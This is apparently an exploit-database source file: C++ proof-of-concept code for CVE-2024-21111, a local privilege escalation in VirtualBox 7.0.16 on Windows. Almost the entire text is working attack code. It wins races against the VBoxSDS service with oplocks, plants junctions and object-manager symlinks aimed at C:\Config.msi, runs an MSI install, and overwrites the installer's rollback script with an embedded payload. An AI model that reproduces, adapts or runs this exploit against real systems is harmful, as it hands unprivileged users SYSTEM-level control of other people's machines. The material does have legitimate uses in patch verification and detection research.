CVE-2024-21111

# Exploit Title: VirtualBox 7.0.16 - Privilege Escalation
# Date: 2025-05-06
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win x64
# CVE : CVE-2024-21111


#include <Windows.h>
#include <Shlwapi.h>
#include <WtsApi32.h>
#include <Msi.h>
#include <PathCch.h>
#include <AclAPI.h>
#include <iostream>
#include "resource.h"
#include "def.h"
#include "FileOplock.h"
#pragma comment(lib, "Msi.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "wtsapi32")
#pragma comment(lib, "PathCch.lib")
#pragma comment(lib, "rpcrt4.lib")
#pragma warning(disable:4996)
struct __declspec(uuid("74AB5FFE-8726-4435-AA7E-876D705BCBA5"))
CLSID_VBoxSDS;
FileOpLock* oplock;
HANDLE hFile, vb11, h;
HANDLE hthread;
NTSTATUS retcode;
HMODULE hm = GetModuleHandle(NULL);
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs");
DWORD RbsSize = SizeofResource(hm, res);
void* RbsBuff = LoadResource(hm, res);
WCHAR dir[MAX_PATH] = { 0x0 };
wchar_t filen[MAX_PATH] = { 0x0 };
DWORD WINAPI install(void*);
BOOL Move(HANDLE hFile);
void callback();
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
dispostion);
LPWSTR BuildPath(LPCWSTR path);
void loadapis();
VOID cb1();
VOID cb0();
BOOL Monitor(HANDLE hDir);
BOOL clearDataDir();
BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
 HANDLE hJunction;
 DWORD cb;
 wchar_t printname[] = L"";
 HANDLE hDir;
 hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
 if (hDir == INVALID_HANDLE_VALUE) {
  printf("[!] Failed to obtain handle on directory %ls.\n", dir);
  return FALSE;
 }
 SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
 SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
 SIZE_T PathLen = TargetLen + PrintnameLen + 12;
 SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER,
GenericReparseBuffer.DataBuffer));
 PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
 Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
 Data->ReparseDataLength = PathLen;
 Data->Reserved = 0;
 Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
 Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
 memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
 Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
 Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
 memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1,
printname, PrintnameLen + 2);
 if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL,
0, &cb, NULL) != 0)
 {
  printf("[+] Junction %ls -> %ls created!\n", dir, target);
  free(Data);
  return TRUE;
 }
 else
 {
  printf("[!] Error: %d. Exiting\n", GetLastError());
  free(Data);
  return FALSE;
 }
}
BOOL DeleteJunction(LPCWSTR path) {
 REPARSE_GUID_DATA_BUFFER buffer = { 0 };
 BOOL ret;
 buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
 DWORD cb = 0;
 IO_STATUS_BLOCK io;
 HANDLE hDir;
 hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);
 if (hDir == INVALID_HANDLE_VALUE) {
  printf("[!] Failed to obtain handle on directory %ls.\n", path);
  printf("%d\n", GetLastError());
  return FALSE;
 }
 ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer,
REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL);
 if (ret == 0) {
  printf("Error: %d\n", GetLastError());
  return FALSE;
 }
 else
 {
  printf("[+] Junction %ls delete!\n", dir);
  return TRUE;
 }
}
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
 if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object,
target)) {
  printf("[+] Symlink %ls -> %ls created!\n", object, target);
  return TRUE;
 }
 else
 {
  printf("error :%d\n", GetLastError());
  return FALSE;
 }
}
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
 if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH |
DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
  printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
  return TRUE;
 }
 else
 {
  printf("error :%d\n", GetLastError());
  return FALSE;
 }
}
void runSDS(int delay) {
 if (delay == 1) {
  printf("[!] sleeping for 2 sec\n");
  Sleep(2000);
 }
 CoInitialize(NULL);
 LPVOID ppv;
 // 1st trigger to create VBoxSDS.log dir
 CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER,
IID_IUnknown, &ppv);
 CoUninitialize();
}
BOOL checkSDSLog() {
 BOOL clear = FALSE;
 std::wstring vboxDataDir = L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*";
 HANDLE hFind;
 WIN32_FIND_DATA data;
 hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data);
 // iterate first VBoxSDS.log
 FindNextFile(hFind, &data);
 if (hFind != INVALID_HANDLE_VALUE) {
  do {
   if (wcswcs(data.cFileName, L"VBoxSDS.log.")) {
    runSDS(0);
    //wprintf(L"%s\n", data.cFileName);
   }
   else {
    printf("[+] Logs have been cleared!\n");
    clear = TRUE;
   }
   //wprintf(L"%s\n", data.cFileName);
  } while (FindNextFile(hFind, &data));
  FindClose(hFind);
 }
 //printf("CLEAR: %d\n", clear);
 return clear;
}
BOOL enumProc(const wchar_t* procName) {
 PWTS_PROCESS_INFO processes{};
 BOOL ok = FALSE;
 DWORD count;
 if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes,
&count)) {
  for (DWORD i = 0; i < count; i++) {
   if (wcswcs(processes[i].pProcessName, procName)) {
    wprintf(L"[!] Process active: %s with PID %d\n",
processes[i].pProcessName, processes[i].ProcessId);
    ok = TRUE;
    break;
   }
  }
 }
 else {
  printf("err: %d\n", GetLastError());
 }
 WTSFreeMemory(processes);
 return ok;
}
void checkIfExists() {
 if (enumProc(L"VirtualBoxVM.exe")) {
  printf("[!] You seem to have active VMs running, please stop them before
running this to prevent corruption of any saved data of the VMs.\n");
  exit(1);
 }
 if (enumProc(L"VirtualBox.exe")) {
  printf("[!] VirtualBox process active\n");
  // message
  printf("[!] Trying to exit virtualbox by postmessage close window\n");
  PostMessage(FindWindow(NULL, TEXT("Oracle VM VirtualBox Manager")),
WM_CLOSE, NULL, NULL);
  printf("[!] Letting VBoxSDS exit (wait 12 seconds)\n\n");
  Sleep(12000);
  if (enumProc(L"VBoxSDS.exe")) {
   printf("[-] error stopping vboxsds\n");
   exit(1);
  }
  else {
   printf("[+] Success stopping vboxsds!\n");
  }
 }
}
BOOL clearDataDir() {
 do {
  vb11 = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_FLAG_OVERLAPPED, NULL);
  printf("h: %x %d\n", vb11, GetLastError());
 } while (vb11 == INVALID_HANDLE_VALUE);
 oplock = FileOpLock::CreateLock(vb11, cb1);
 if (oplock != NULL) {
  HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0,
NULL);
  oplock->WaitForLock(INFINITE);
  CloseHandle(c);
 }
 BOOL isEmpty = FALSE;
 do {
  isEmpty = checkSDSLog();
 } while (isEmpty == FALSE);
 if (!RemoveDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log")) {
  printf("error removing vboxlog dir\n");
  exit(1);
 }
 return isEmpty;
}
int wmain() {
 loadapis();
 checkIfExists();
 clearDataDir();
 hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
 if (hFile == INVALID_HANDLE_VALUE)
 {
  printf("[!] Failed to create C:\\Config.msi directory. Trying to delete
it.\n");
  install(NULL);
  hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
  if (hFile != INVALID_HANDLE_VALUE)
  {
   printf("[+] Successfully removed and recreated C:\\Config.Msi.\n");
  }
  else
  {
   printf("[!] Failed. Cannot remove c:\\Config.msi");
   //return 1;
  }
 }
 if (!PathIsDirectoryEmpty(L"C:\\Config.Msi"))
 {
  printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n");
  //return 1;
 }
 printf("[+] Config.msi directory created!\n");
 HANDLE hDir =
getDirectoryHandle(BuildPath(L"C:\\ProgramData\\VirtualBox"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
 printf("hDir: %x\n", hDir);
 //Monitor(hDir);
 HANDLE zxc{};
 zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0,
NULL);
 SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
 SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain
express control of our priority
 SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
 oplock = FileOpLock::CreateLock(hFile, callback);
 if (oplock != nullptr) {
  oplock->WaitForLock(INFINITE);
  delete oplock;
 }
 do {
  hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE |
FILE_SHARE_DELETE, FILE_OPEN_IF);
 } while (!hFile);
 char buff[4096];
 DWORD retbt = 0;
 FILE_NOTIFY_INFORMATION* fn;
 WCHAR* extension;
 WCHAR* extension2;
 do {
  ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME,
   &retbt, NULL, NULL);
  fn = (FILE_NOTIFY_INFORMATION*)buff;
  size_t sz = fn->FileNameLength / sizeof(WCHAR);
  fn->FileName[sz] = '\0';
  extension = fn->FileName;
  PathCchFindExtension(extension, MAX_PATH, &extension2);
 } while (wcscmp(extension2, L".rbs") != 0);
 SetSecurityInfo(hFile, SE_FILE_OBJECT,
UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL,
NULL, NULL, NULL);
 while (!Move(hFile)) {
 }
 HANDLE cfg_h = getDirectoryHandle(BuildPath(L"C:\\Config.msi"),
FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_CREATE);
 WCHAR rbsfile[MAX_PATH];
 _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName);
 HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
 if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {
  printf("[+] Rollback script overwritten!\n");
 }
 else
 {
  printf("[!] Failed to overwrite rbs file!\n");
 }
 CloseHandle(rbs);
 CloseHandle(cfg_h);
 DeleteJunction(dir);
 CloseHandle(zxc);
 WCHAR asdfasdf[MAX_PATH];
 _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen);
 DelDosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION");
 return 0;
}
DWORD WINAPI install(void*) {
 HMODULE hm = GetModuleHandle(NULL);
 HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi");
 wchar_t msipackage[MAX_PATH] = { 0x0 };
 GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage);
 printf("[*] MSI file: %ls\n", msipackage);
 DWORD MsiSize = SizeofResource(hm, res);
 void* MsiBuff = LoadResource(hm, res);
 HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
 CloseHandle(pkg);
 MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
 UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL");
 printf("%d\n", a);
 MsiInstallProduct(msipackage, L"REMOVE=ALL");
 DeleteFile(msipackage);
 return 0;
}
BOOL Move(HANDLE hFile) {
 if (hFile == INVALID_HANDLE_VALUE) {
  printf("[!] Invalid handle!\n");
  return FALSE;
 }
 wchar_t tmpfile[MAX_PATH] = { 0x0 };
 RPC_WSTR str_uuid;
 UUID uuid = { 0 };
 UuidCreate(&uuid);
 UuidToString(&uuid, &str_uuid);
 _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid);
 size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) *
sizeof(wchar_t));
 FILE_RENAME_INFO* rename_info =
(FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY |
HEAP_GENERATE_EXCEPTIONS, buffer_sz);
 IO_STATUS_BLOCK io = { 0 };
 rename_info->ReplaceIfExists = TRUE;
 rename_info->RootDirectory = NULL;
 rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
 rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
 memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) *
sizeof(wchar_t));
 NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info,
buffer_sz, 65);
 if (status != 0) {
  return FALSE;
 }
 return TRUE;
}
void callback() {
 SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS);
 Move(hFile);
 hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL);
 HANDLE hd;
 do {
  hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
 } while (!hd);
 do {
  CloseHandle(hd);
  hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
 } while (hd);
 CloseHandle(hd);
 do {
  hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
  CloseHandle(hd);
 } while (retcode != 0xC0000022);
}
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
dispostion) {
 UNICODE_STRING ufile;
 HANDLE hDir;
 pRtlInitUnicodeString(&ufile, file);
 OBJECT_ATTRIBUTES oa = { 0 };
 IO_STATUS_BLOCK io = { 0 };
 InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);
 retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL,
FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE |
FILE_OPEN_REPARSE_POINT, NULL, NULL);
 if (!NT_SUCCESS(retcode)) {
  return NULL;
 }
 return hDir;
}
LPWSTR BuildPath(LPCWSTR path) {
 wchar_t ntpath[MAX_PATH];
 swprintf(ntpath, L"\\??\\%s", path);
 return ntpath;
}
void loadapis() {
 HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
 if (ntdll != NULL) {
  pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll,
"RtlInitUnicodeString");
  pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile");
  pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll,
"NtSetInformationFile");
 }
 if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) {
  printf("Cannot load api's %d\n", GetLastError());
  exit(0);
 }
}
void cb0() {
 if (!Move(h)) {
  printf("reached3\n");
  exit(1);
 }
 printf("reached2\n");
 _swprintf(dir, L"C:\\ProgramData\\VirtualBox");
 if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) {
  printf("[!] Exiting!\n");
  exit(1);
 }
 WCHAR asdfasdf[MAX_PATH];
 _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen);
 if (!DosDeviceSymLink(asdfasdf,
L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) {
  printf("zxc\n");
  //printf("[!] Exiting!\n");
  //exit(1);
 }
}
void cb1() {
 printf("[!] oplock triggered\n");
 if (!Move(vb11)) {
  printf("reached3\n");
  exit(1);
 }
 if (!CreateDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log", NULL)) {
  printf("Error creating dir. Exiting\n");
  exit(1);
 }
 return;
}
BOOL Monitor(HANDLE hDir) {
 printf("[!] Monitor called\n");
 BOOL deleted = FALSE;
 _swprintf(filen, L"VBoxSDS.log.11");
 do {
  do {
   h = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_FLAG_OVERLAPPED, NULL);
   printf("h: %x\n", h);
  } while (h == INVALID_HANDLE_VALUE);
  oplock = FileOpLock::CreateLock(h, cb0);
  if (oplock != NULL) {
   HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS,
(LPVOID)1, 0, NULL);
   oplock->WaitForLock(INFINITE);
   CloseHandle(c);
  }
  deleted = TRUE;
 } while (deleted == FALSE);
 return deleted;
}